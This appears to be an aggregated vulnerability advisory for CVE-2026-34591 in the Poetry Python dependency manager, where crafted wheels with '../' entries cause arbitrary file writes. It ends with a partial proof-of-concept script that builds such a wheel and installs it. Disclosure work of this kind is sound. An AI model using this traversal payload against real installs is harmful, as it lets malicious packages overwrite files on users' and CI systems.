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BREW-poetry-CVE-2026-34591 — Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

2026-10-02T22:01:42.833669+00:00

Affected: Homebrew: poetry

Poetry is a dependency manager for Python. From version 1.4.0 to before version 2.3.3, a crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. It is reachable from untrusted package artifacts during normal install flows. (Normally, installing a malicious wheel is not sufficient for execution of malicious code. Malicious code will only be executed after installation if the malicious package is imported or invoked by the user.). This issue has been patched in version 2.3.3.

CVE-2026-34591 — Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

2026-10-02T22:01:42.833739+00:00

Affected: python-poetry poetry

GHSA-2599-h6xx-hpxp — Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

2026-10-02T22:01:42.833788+00:00

Affected: PyPI: poetry

### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

### Patches

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

### POC

``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True)

files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag:…